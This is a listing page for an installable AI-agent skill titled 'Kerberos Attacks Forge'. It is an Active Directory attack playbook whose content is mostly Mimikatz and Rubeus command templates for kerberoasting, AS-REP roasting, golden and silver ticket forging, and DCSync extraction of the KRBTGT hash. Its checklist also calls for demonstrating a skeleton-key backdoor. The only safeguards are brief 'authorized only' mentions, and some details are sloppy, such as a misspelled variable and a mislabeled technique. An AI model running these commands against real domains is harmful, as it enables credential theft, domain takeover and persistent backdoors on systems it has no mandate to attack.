# Kerberos Attacks Forge

> Use when performing Kerberos attacks in AD.

- Skill: `loopyluci/kerberos-attacks-forge` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/kerberos-attacks-forge`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/kerberos-attacks-forge/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/kerberos-attacks-forge

---


# Kerberos Attacks and Ticket Forging

Attacking Kerberos in Active Directory — from kerberoasting and AS-REP roasting through golden/silver ticket forging, DCSync, and delegation abuse.

## When to Use

- Extracting service account credentials via kerberoasting
- Forging tickets for domain persistence (golden/silver)
- Performing DCSync for KRBTGT hash extraction
- Abusing Kerberos delegation for privilege escalation

## Kerberos Attack Techniques

```python
KERBEROS_ATTACKS = {
    'kerberoasting': 'Request TGS for SPNs, crack service account hashes offline',
    'asrep_roasting': 'Request AS-REP for users without Kerberos pre-authentication',
    'golden_ticket': 'Forge TGT with KRBTGT hash — domain admin anywhere, any time',
    'silver_ticket': 'Forge TGS for specific service — access without domain admin',
    'diamond_ticket': 'Decrypt legitimate TGT, modify PAC, re-encrypt — stealthier than golden',
    'dcsync': 'Replicate domain controller (DRS protocol) — extract any hash including KRBTGT',
    'skeleton_key': 'Mimikatz skeleton key — backdoor all domain auth with password "mimikatz"',
    'dcom_lateral': 'Abuse Kerberos delegation for lateral movement',
}

# Mimikatz commands
MIKIKATZ_COMMANDS = {
    'kerberoast': 'kerberos::ask /target:HTTP/srv01.contoso.com',
    'golden_ticket': 'kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:HASH',
    'silver_ticket': 'kerberos::golden /user:Administrator /domain:contoso.com /sid:... /target:dc01.contoso.com /service:CIFS /rc4:HASH',
    'dcsync': 'lsadump::dcsync /domain:contoso.com /user:krbtgt',
}

# Rubeus commands (C# tool)
RUBEUS_COMMANDS = {
    'kerberoast': 'Rubeus.exe kerberoast /nowrap',
    'asreproast': 'Rubeus.exe asreproast /nowrap',
    'silver_ticket': 'Rubeus.exe silver /service:HTTP/server.contoso.com /rc4:HASH /user:admin',
}
```

## Verification Checklist

- [ ] Kerberoasting on all SPNs (authorized accounts only)
- [ ] AS-REP roasting on users without pre-auth
- [ ] Ticket hashes cracked offline (hashcat mode 13100, 18200)
- [ ] KRBTGT hash extracted via DCSync (authorized only)
- [ ] Golden ticket forged and tested (access any resource)
- [ ] Silver ticket forged for specific service access
- [ ] Delegation abuse checked (unconstrained, constrained, resource-based)
- [ ] Skeleton key demonstrated (if in scope)
- [ ] Cleanup: tickets purged, no permanent backdoors